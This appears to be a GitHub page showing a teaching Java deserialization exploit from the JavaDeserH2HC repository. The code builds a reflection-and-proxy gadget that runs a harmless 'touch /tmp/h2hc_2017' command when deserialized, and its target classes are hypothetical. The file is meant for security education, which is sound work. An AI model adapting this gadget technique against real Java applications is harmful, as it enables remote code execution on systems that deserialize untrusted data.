FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
JavaDeserH2HC/ExploitGadgetExample1.java at master · securityphoenix/JavaDeserH2HC · GitHub
Uh oh!
There was an error while loading.
Please reload this page
.
securityphoenix
/
JavaDeserH2HC
Public
forked from
joaomatosf/JavaDeserH2HC
Notifications
You must be signed in to change notification settings
Fork
1
Star
0
Code
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
JavaDeserH2HC
/
ExploitGadgetExample1.java
Copy path
More file actions
More file actions
Latest commit
History
History
History
72 lines (66 loc) · 3.05 KB
Breadcrumbs
JavaDeserH2HC
/
ExploitGadgetExample1.java
Copy path
File metadata and controls
72 lines (66 loc) · 3.05 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import
java
.
io
.
FileInputStream
;
import
java
.
io
.
FileOutputStream
;
import
java
.
io
.
IOException
;
import
java
.
io
.
ObjectInputStream
;
import
java
.
io
.
ObjectOutputStream
;
import
java
.
lang
.
reflect
.
Field
;
import
java
.
lang
.
reflect
.
InvocationHandler
;
import
java
.
lang
.
reflect
.
Proxy
;
import
java
.
util
.
Map
;
/**
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
* o fluxo de execução durante a desserialização.
* Esse código gera um payload para explorar um sistema hipotético que contenha
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
*
* Executando
* $ rm /tmp/h2hc_2017
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
* $ ls -all /tmp/h2hc_2017
*
*
* @author @joaomatosf
*/
public
class
ExploitGadgetExample1
{
@
SuppressWarnings
( {
"unchecked"
} )
public
static
void
main
(
String
[]
args
)
throws
NoSuchFieldException
,
IllegalArgumentException
,
IllegalAccessException
,
IOException
,
ClassNotFoundException
{
// Instancia um SomeInvocationHandler
InvocationHandler
handler
=
new
SomeInvocationHandler
();
Field
fieldHandler
=
handler
.
getClass
().
getDeclaredField
(
"cmd"
);
//obtem campo "cmd" do SomeInvocationHandler
fieldHandler
.
setAccessible
(
true
);
// torna o campo "cmd" acessível
fieldHandler
.
set
(
handler
,
"touch /tmp/h2hc_2017"
);
// atribui um valor ao campo "cmd"
// criar interface Map
Class
[]
interfaceMap
=
new
Class
[] {
java
.
util
.
Map
.
class
};
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
Map
proxyMap
= (
Map
)
Proxy
.
newProxyInstance
(
null
,
interfaceMap
,
handler
);
// Intancia ForgottenClass (que sera' serializado)
ForgottenClass
gadget
=
new
ForgottenClass
();
Field
field
=
gadget
.
getClass
().
getDeclaredField
(
"map"
);
// obtem campo "map" do ForgottenClass
field
.
setAccessible
(
true
);
// torna o campo "map" acessível
field
.
set
(
gadget
,
proxyMap
);
// Atribui o Proxy ao campo "map"
// Serializa objeto do ForgottenClass e salva no disco
System
.
out
.
println
(
"Serializing ForgottenClass"
);
FileOutputStream
fos
=
new
FileOutputStream
(
"/tmp/object.ser"
);
ObjectOutputStream
oos
=
new
ObjectOutputStream
(
fos
);
oos
.
writeObject
(
gadget
);
oos
.
flush
();
// Desserializa objeto a partir do arquivo, para simular o que devera
// ocorrer quando o objeto for desserializado por uma aplicacao
System
.
out
.
println
(
"Deserializing ForgottenClass"
);
FileInputStream
fis
=
new
FileInputStream
(
"/tmp/object.ser"
);
ObjectInputStream
ois
=
new
ObjectInputStream
(
fis
);
ois
.
readObject
();
// <-- Inicia a desserializacao!
}
//end main
}
Back
|
FazBrowse Home
|
New Git URL